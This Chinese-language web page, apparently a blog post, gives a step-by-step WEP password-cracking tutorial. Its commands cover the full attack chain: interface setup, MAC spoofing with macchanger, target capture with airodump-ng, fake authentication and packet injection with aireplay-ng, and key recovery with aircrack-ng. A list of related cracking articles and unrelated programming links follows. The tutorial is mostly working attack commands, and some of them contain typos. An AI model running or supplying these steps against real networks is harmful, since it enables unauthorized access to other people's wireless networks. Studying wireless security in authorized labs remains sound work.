WEP 无线网络破解
WEP(无线等效协议)于 1999 年诞生,并且是用于无线网络的最古老的安全标准。在 2003
年,WEP 被 WPA 以及之后被 WPA2 取代。由于可以使用更加安全的协议,WEP 加密很少
使用了。接下来我会使用 AirCrack 套件来破解 WEP 密码。AirCrack 套件(或 AirCrackNG)是 WEP 和 WPA 密码破解程序,它会抓取无线网络封包,分析它们,使用这些
数据来破解 WEP 密码。
 
准备使用 AirCrack 来破解WEP 加密的网络会话。
 
1. 打开终端窗口,并产生无线网络接口的列表:
airmon-ng
 
2. 在 interface 列下,选择你的接口之一。这里,使用 wlan0 。如果你的接口不同, 例如 mon0 ,请将每个提到 wlan0 的地方都换成它。
 
 
3. 下面,需要停止 wlan0 接口,并把它关闭,便于接下来修改 MAC 地址。 airmon-ng stop ifconfig wlan0 down
 
4. 下面,需要修改我们接口的 MAC 地址。由于机器的 MAC 地址会在任何网络上标识 你的存在,修改机器的标识允许隐藏真正的 MAC 地址。这里,用 00:11:22:33:44:55 。 macchanger --mac 00:11:22:33:44:55 wlan0
 
5. 现在需要重启 airmon-ng 。 airmon-ng start wlan0
 
6. 下面,会使用 airodump 来定位附近的可用无线网络。 airodump-ng wlan0
 
7. 这会出现可用无线网络的列表。一旦你找到了你想要攻击的网络,按下 Ctrl + C 来停止 搜索。选中 BSSID 列中的 MAC 地址,右击你的鼠标,并且选择复制。同时,把网络正在 发送哪个频道的信号记录下载。你会在 Channel 列中找到这个信息。这里,这个频道 是 10 。
 
8. 现在运行 airodump ,并且将所选 BSSID 的信息复制到文件中。会使用下列选项: -c 允许选择频道。这里选择 10 。 -w 允许选择文件名称。这里选择 wirelessattack 。 -bssid 允许选择我们的 BSSID 。这里,从剪贴板上粘贴 09:AC:90:AB:78 。 airodump-ng –c 10 –w wirelessattack --bssid 09:AC:90:AB:78 wlan09. 新的窗口会打开,并展示这个命令的输出。保持这个窗口开着。
 
10. 打开另一个终端窗口,为了尝试组合它们,运行 aireplay 。它拥有下列语 法: aireplay-ng -1 0 –a [BSSID] –h [our chosen MAC address] –e [ESSID] [Interface] 。 aireplay-ng -1 0 -a 09:AC:90:AB:78 –h 00:11:22:33:44:55 –e backtrack wlan0
 
11. 下面,发送一些流量给路由器,便于捕获一些数据。再次使用 aireplay ,以下 列格式: aireplay-ng -3 –b [BSSID] – h [Our chosen MAC address] [Interface] 。 aireplay-ng -3 –b 09:AC:90:AB:78 –h 00:11:22:33:44:55 wlan0
 
12. 你的屏幕会开始被流量填满。将它运行一到两分钟,直到你拥有了用来执行破解的信 息。
 
13. 最后运行 AirCrack 来破解 WEP 密码。 aircrack-ng –b 09:AC:90:AB:78 wirelessattack.cap 这就结束了。
 
          我使用了 AirCrack 套件来破解无线网络的 WEP 密码。AirCrack 是最流行 的 WEP 破解工具之一。AirCrack 通过收集 WEP 无线连接的封包来工作,之后它会通过算术 分析数据来破解 WEP 加密密码。通过启动 AirCrack 并选择我们想要的接口来开始。下 面,、修改了 MAC 地址,这允许修改互联网上的身份,之后使用 airodump 搜索可用 的无线网络来攻击。一旦找到了打算攻击的网络,使用 aireplay 来将我们的机器与 正在攻击的无线设备的 MAC 地址关联。最后收集到了一些流量,之后暴力破解生成的 CAP 文件来获得无线密码。

渗透测试之wep无线网络破解的更多相关文章

  1. WEP无线网络密码破解

    一,五分钟实现无线WEP入侵的特点: 众所周知WEP加密入侵需要用户通过监听等方法接收到足够数量的WEP验证数据包,然后通过分析软件使用暴力破解的方法穷举法还原出WEP加密密钥的明文信息.五分钟实现无 ...

  2. WPA破解原理简要——无线网络破解续

    一.破解密码的基础 关于密码的破解我再重复一次好了.密码破解就两大类方法.一是字典解密,而是暴力解密. 暴力解密就是采用穷举的方法——你密码是怎么组成的呢?无非就是数字.字母.符号,暴力解密就是采用一 ...

  3. WPA-PSK无线网络破解原理及过程(转)

    本文将主要讲讲WPA-PSK类型的无线网络安全问题,首先我们看下802.11协议相关的基础知识. 802.11常见的几种认证方式: 1.不启用安全‍‍ ‍‍2.WEP‍‍ ‍‍3.WPA/WPA2-P ...

  4. WPA-PSK无线网络破解原理及过程

    原文链接地址:http://www.freebuf.com/articles/wireless/58342.html 本文将主要讲讲WPA-PSK类型的无线网络安全问题,首先我们看下802.11协议相 ...

  5. WEP无线加密破解

    工具:Aircrack套件(airmon-ng.airodump-ng.aireplay-ng) 带有套件的操作系统:KaLi Linux.BackTrack.Beini(奶瓶)...等 1.开启无线 ...

  6. Kali-linux Gerix Wifi Cracker破解无线网络

    Gerix Wifi Cracker是另一个aircrack图形用户界面的无线网络破解工具.本节将介绍使用该工具破解无线网络及创建假的接入点. 9.3.1 Gerix破解WEP加密的无线网络 在前面介 ...

  7. [转]如何使用BackTrack破解WIFI无线网络的WEP密钥

    aireplay-ng - -a (bssid) -h ::::: -e (essid) (interface) 你可能已经知道如果你想要加锁自己的WIFI无线网络,你最好选择WPA加密方式,因为WE ...

  8. Kali-linux在树莓派上破解无线网络

    大部分的命令可以正常的运行在BackTrack5或Kali上.在Kali上可以实现的无线渗透测试,在树莓派上也可以运行.在第1章中介绍了在树莓派上安装Kali Linux操作系统,下面将介绍在树莓派上 ...

  9. 跑PIN码破解无线网络WIFI密码的原理分析(转)

    你们家用的无线路由器安全吗?有人蹭网吗?无线路由器的漏洞在哪里?这么避免蹭网? 想要了解这些,必须要了解加密以及破解原理. 工具/原料 电脑 足够多足够好的wifi信号源 usb无线网卡(非必需) 一 ...

随机推荐

  1. datatable与实体类之间相互转化的几种方法

    #region DataTable转换成实体类 /// <summary> /// 填充对象列表:用DataSet的第一个表填充实体类 /// </summary> /// & ...

  2. matlab练习程序(点云密度)

    算法思路是首先建立kd树,然后找到每个点距离最近的点的距离,对距离求和再求平均即可. 代码如下: clear all; close all; clc; pc = pcread('rabbit.pcd' ...

  3. import和from...import

    目录 一.import 模块名 二.from 模块名 import 具体的功能 三.import和from...import...的异同 一般使用import和from...import...导入模块 ...

  4. kindEditor 修改上传图片的路径

    压缩过的js类似

  5. IT兄弟连 Java语法教程 综合案例

    1.案例需求 编写程序,模拟斗地主游戏洗牌和发牌的流程. 2.应用知识 ●  数组的声明 ●  数组的遍历 ●  for循环 ●  if-else分支结构 3.需求解析 模拟斗地主游戏洗牌和发牌,需要 ...

  6. 常用的app包名和类名

    应用 包名 启动类 QQ com.tencent.mobileqq com.tencent.mobileqq.activity.HomeActivity 微信 com.tencent.mm com.t ...

  7. spring的事件

    理论 异步的实现方式可以使用事件,或者异步执行: spring中自带了事件的支持,核心是ApplicationEventPublisher; 事件包括三个要点: 事件的定义: 事件监听的定义: 发布事 ...

  8. java自定义equals函数和hashCode函数

    所有类都继承自Object类,他所有的非final方法:equals,hashCode, toString, clone 和 finalize,它们都有通用约定. 我们在覆盖这些方法的时候需要遵循这些 ...

  9. 安装 Java

    1.rpm下载地址 https://download.oracle.com/otn/java/jdk/7u79-b15/jdk-7u79-linux-x64.rpm?AuthParam=1570520 ...

  10. GPU跑tf-faster-rcnn demo以及训练自己的数据

    https://blog.csdn.net/qq_39123369/article/details/85245512